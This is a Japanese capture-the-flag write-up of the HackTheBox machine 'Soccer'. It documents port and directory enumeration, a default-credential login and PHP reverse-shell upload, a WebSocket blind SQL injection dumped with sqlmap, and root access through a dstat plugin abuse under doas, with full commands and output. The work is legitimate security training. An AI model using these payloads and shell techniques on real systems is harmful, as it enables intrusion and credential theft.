🍏

【HackTheBox】Soccer Writeup

2023/06/15に公開

Enumeration

nmap

┌──(kali㉿kali)-[~]
└─$ nmap  -p- -Pn -open 10.10.11.194 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-13 09:13 EDT
Nmap scan report for 10.10.11.194
Host is up (0.17s latency).
Not shown: 63845 closed tcp ports (conn-refused), 1687 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9091/tcp open  xmltec-xmlmail

Nmap done: 1 IP address (1 host up) scanned in 60.50 seconds

port 80のドメイン名はsoccer.htbだったので/etc/hostsに入れます。

website

サイトはこんな感じです。操作できそうなところがなかったです。

gobuster

gobuster実行したら/tinyというディレクトリが見つかりました。

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://soccer.htb
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://soccer.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/06/13 09:28:11 Starting gobuster in directory enumeration mode
===============================================================
/tiny                 (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Progress: 87659 / 87665 (99.99%)
===============================================================
2023/06/13 09:54:36 Finished
===============================================================

/tiny Directory


tiny file managerを調べてみたら、PHPで書かれているファイルマネージャーでした。(https://github.com/prasathmani/tinyfilemanager)
githubにデフォルトのcredentialsがありました。admin:admin@123でログインしてみたら入れました。バージョンは2.4.3です。

Shell as www-data

File Upload Attack

tiny file manager 2.4.3 exploitで検索したら、ファイルのアップロードでRCEできると書いてあったのでやってみます。(https://github.com/febinrev/tinyfilemanager-2.4.3-exploit)
reverse shellはpentestmonkeyのスクリプトを使います。(https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php)

アップロードした後、http://soccer.htb/tiny/uploads/reversephp.phpにアクセスするとシェルが取れました。www-dataのシェルでした。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.194] 56830
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 14:45:39 up  1:37,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@soccer:/$ 

playerというユーザーがいました。

www-data@soccer:/$ ls home
ls home
player

いろいろenumerationしてみたらサブドメインを発見しました。/etc/hostsに入れて確認します。

www-data@soccer:/$ cat /etc/hosts
127.0.0.1       localhost       soccer  soccer.htb      soc-player.soccer.htb
127.0.1.1       ubuntu-focal    ubuntu-focal

Subdomain Enumeration

サブドメインにはmatch、login、signupページがありました。

登録してログインすると/checkページにリダイレクトされて、そしてチケット番号をもらいました。フォームに正しいチケット番号を入力するとticket exist、間違った番号だとticket doesn't existが表示されます。

ページソース見るとこんなjavascriptがありました。

var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {

var btn = document.getElementById('btn');
var input = document.getElementById('id');

ws.onopen = function (e) {
    console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
    keyOne(e)
});

function keyOne(e) {
    e.stopPropagation();
    if (e.keyCode === 13) {
	e.preventDefault();
	sendText();
    }
}

function sendText() {
    var msg = input.value;
    if (msg.length > 0) {
	ws.send(JSON.stringify({
	    "id": msg
	}))
    }
    else append("????????")
}
}

ws.onmessage = function (e) {
append(e.data)
}

function append(msg) {
let p = document.querySelector("p");
// let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
// p.style.color = randomColor;
p.textContent = msg
}

enterを押すと{"id": msg}ws://soc-player.soccer.htb:9091に送信されるみたいです。インジェクションできるかどうか試したいので、burpを立ち上げます。

テストした結果、{"id":"1000 or 1=1 -- "}でticket existsが返ってきたので、インジェクションできそうです(boolean-based blind SQLi)。

WebSocket Boolean-based Blind SQLi

sqlmap websocket explolitで検索するといくつかのpython scriptが出てきましたが、調べてみたらsqlmapはそのままwebsocketにも使えるみたいです。
https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html 、https://github.com/BKreisel/sqlmap-websocket-proxy とか)

最初はsqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "1000"}' --batchで実行しましたが、time-based blindしか検知できなったです。
time-baseだととても遅いので--level 5 --risk 3を入れて、別タイプのSQLiを検知できないかを見てみました。

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "1000"}' --batch --level 5 --risk 3 --flush-session
        ___
       __H__                                                                       
 ___ ___[.]_____ ___ ___  {1.6.11#stable}                                          
|_ -| . [)]     | .'| . |                                                          
|___|_  [.]_|_|_|__,|  _|                                                          
      |_|V...       |_|   https://sqlmap.org 
      
...[snip]...

sqlmap identified the following injection point(s) with a total of 393 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: {"id": "-7383 OR 1662=1662"}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"id": "1000 AND (SELECT 2499 FROM (SELECT(SLEEP(5)))HPWA)"}
---

boolean-based blindもできるみたいでよかったです。
ではdbの情報を抽出します。

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "1000"}' --batch --level 5 --risk 3 --dbs

...[snip]...
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys

soccer_dbの中のテーブルを確認します。

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "1000"}' --batch --level 5 --risk 3 -D soccer_db --tables
...[snip]...

Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+

accountというテーブルがありました。では中身を抽出します。

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "1000"}' --batch --level 5 --risk 3 -D soccer_db -T accounts --dump

...[snip]...
Database: soccer_db

Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+

これでsshしてみます。

Shell as Player

playerとしてログインできました。user flagゲットです。

┌──(kali㉿kali)-[~]
└─$ ssh player@10.10.11.194                
player@10.10.11.194's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)

Last login: Tue Dec 13 07:29:10 2022 from 10.10.14.19
player@soccer:~$ ls
user.txt
player@soccer:~$ cat user.txt

Enumeration

パスワードがあるのでsudo -lをみてみましたが、実行できるコマンドがなかったです。

player@soccer:/$ sudo -l
[sudo] password for player: 
Sorry, user player may not run sudo on localhost.

linpeasを実行します。

                             ╔══════════════════════╗
═════════════════════════════╣ Software Information ╠═════════════════════════════                                  
                             ╚══════════════════════╝                                                               
╔══════════╣ Useful software
/usr/bin/base64                                                                                                     
/usr/bin/curl
/usr/local/bin/doas

...[snip]...
                      ╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════                                  
                      ╚════════════════════════════════════╝                                                        
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                    
-rwsr-xr-x 1 root root 42K Nov 17  2022 /usr/local/bin/doas

...[snip]...

                            ╔═════════════════════════╗
════════════════════════════╣ Other Interesting Files ╠════════════════════════════                                 
                            ╚═════════════════════════╝                                                             
╔══════════╣ .sh files in path
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path                          
/usr/bin/rescan-scsi-bus.sh                                                                                         
/usr/bin/gettext.sh

╔══════════╣ Executable files potentially added by user (limit 70)
2022-11-17+09:09:15.5479107120 /usr/local/bin/doasedit                                                              
2022-11-17+09:09:15.5439087120 /usr/local/bin/vidoas
2022-11-17+09:09:15.5399067120 /usr/local/bin/doas

doasというコマンドが何回も出てきたので調べてみました。
sudoの代わりに使うプログラムみたいです。これは権限昇格に使えそうです。

Doas Exploit

doasのドキュメントを読むと、doas.confというconfigurationファイルがあるみたいです。探してみます。

player@soccer:/$ find / -name "doas.conf" 2>/dev/null
/usr/local/etc/doas.conf
player@soccer:/$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

playerはrootとして/usr/bin/dstatを実行できることがわかりました。

player@soccer:~$ doas -u root /usr/bin/dstat 
You did not select any stats, using -cdngy by default.
--total-cpu-usage-- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai stl| read  writ| recv  send|  in   out | int   csw 
  4   3  93   0   0|  35k   10k|   0     0 |   0     0 | 248   447 
  0   0 100   0   0|   0     0 | 528B 1198B|   0     0 | 244   474 
  1   0  98   0   0|   0   156k| 242B  436B|   0     0 | 280   500 

GTFOBinsでdoasを検索してみるとroot shellを取る手順があったので、やってみます。

Shell as Root

player@soccer:~$ echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
player@soccer:~$ doas -u root /usr/bin/dstat --xxx
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
# whoami
root
# cat /root/root.txt

rootフラグ取れました。

Discussion